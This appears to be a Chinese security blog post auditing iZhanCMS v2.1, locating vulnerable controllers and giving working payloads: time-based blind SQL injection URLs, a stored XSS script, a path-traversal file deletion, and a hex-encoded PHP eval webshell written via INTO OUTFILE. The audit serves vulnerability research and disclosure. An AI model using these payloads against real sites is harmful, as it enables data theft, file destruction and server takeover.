01
前言
爱站CMS是一款开源免费的CMS内容管理系统,具有开放灵活,安全高效,简洁美观!本次针对iZhanCMS_v2.1版本进行代码审计,发现代码中存在的安全漏洞。
02
环境搭建
iZhanCMS官网:http://www.izhancms.com
网站源码版本:爱站CMS(zend6.0) V2.1
程序源码下载:http://www.izhancms.com/category/Category/index/cid/1
默认后台地址:http://127.0.0.1/admin/admin/index
默认账号密码:admin 密码自设至少六位
03
前台SQL注入漏洞一
代码分析:
漏洞文件位置: /application/index/controllers/IndexController.php 第89-102行:
这段函数中将获取到的参数id,没有单引号保护,拼接到SQL语句中然后带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信
息。
漏洞利用:
根据漏洞位置,构造出时间盲注的Payload:http://127.0.0.1/index/index/qrcodePreview?id=2/**/xor/**/if(substring(user(),1,1)='2',sleep(5),0)--可直接使用SQLMAP获取数据库数据:
04
前台SQL注入漏洞二
代码分析:
漏洞文件位置:/application/goods/controllers/GoodsController.php 第68-96行
这段函数中将获取到的参数id,带入到getLinkgoodsid函数中查询,注意看第三个圈住
的地方,参数id拼接到SQL语句中,然后带入数据库执行,这个地方就存在SQL注
入。我们再来跟进getLinkgoodsid函数看一下:
漏洞文件位置:/application/goods/models/GoodsModel.php 第91-109行:
在这段函数中将获取到的参数id,同样拼接到SQL语句中,然后带入数据库执行。
综上,参数id在这里有两处SQL语句拼接,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞,获取数据库敏感信息。
漏洞利用:
根据漏洞位置,构造出时间盲注的Payload:
http://127.0.0.1/goods/Goods/info?id=2 xor if('2'='2',sleep(5),0)--
可直接使用SQLMAP来跑:
05
前台存储型XSS
太简单,代码分析就略过。
漏洞利用:
网站前台--意见和建议--留言人—提交Payload:222<script>alert(/xss/)</script>
当管理员在后台查看留言信息时,会触发js脚本代码。
06
后台多处SQL注入漏洞
代码分析:
漏洞文件位置一:/admin/application/extensions/controllers/QrcodeController.php
第235-246行:
这段函数中将获取到的参数id,拼接到SQL语句中,然后带入数据库执行,这个地方就存在SQL注入。
漏洞文件位置二:/admin/application/webset/controllers/ManagelogController.php
第33-57行:
漏洞文件位置三:/admin/application/webset/controllers/AdminuserController.php
第37-69行:
在这段函数中将获取到的参数keyword,未经任何过滤,同样拼接到SQL语句中,然后带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。
基本后台所有的搜索框都存在类似的情况。
漏洞利用:
漏洞位置一 Payload:http://127.0.0.1/admin/extensions/qrcode/preview?id=2
可直接使用SQLMAP来跑:
位置二:登录后台--系统设置--日志管理--搜索--keyword
位置三:登录后台--权限设置--系统管理员--搜索--keyword
后台搜索框几乎都存在一样的问题,不一一去验证了。
07
后台任意文件删除漏洞
代码分析:
漏洞文件位置:/admin/application/webset/controllers/DbrecoverController.php
跟进deleteTable函数:
漏洞文件位置:/admin/application/webset/models/TableModel.php
在这段函数中,获取到$save_path,进行处理,然后直接将$filen_path带入删除函数中执行,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件。
漏洞利用:
在根目录新建test.txt,作为漏洞测试文件
登录后台,提交Payload,删除根目录下的test.txt 文件
Payload:http://127.0.0.1/admin/webset/dbrecover/delete?tbname=../../../test.txt
08
后台Getshell
方式一:修改标签文件
登录后台--模板管理--标签管理--标签列表--修改tag.lib.php:
Payload:phpinfo();
访问 http://127.0.0.1/library/mainone/taglib/tags.lib.php 成功触发代码执行漏洞。
方式二:利用SQL语句写入webshell
登录后台—系统设置—数据库操作—SQL语句—执行SQL语句。
问题:输入的字符会进行html实体编码,因此使用传统的into outfile语句无法成功写入
文件
select '<?php eval($_POST[cmd]);?>' into outfile 'c:/www/222aaa.php' 写入失败
将一句话转化为Hex编码,构造Pyaload如下:
SELECT 111222 INTO OUTFILE 'E:/study/WWW/iZhanCMS/2222.php' LINES
TERMINATED BY 0x3C3F70687020406576616C28245F504F53545B2761275D293B3F3E –
成功写入webshell,控制网站服务器
09
总结
这是一次黑盒结合白盒的漏洞挖掘案例,相对会全面一点,有对这方面有研究的童鞋,欢迎来相互探讨,交流。
Bypass
About Me
一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。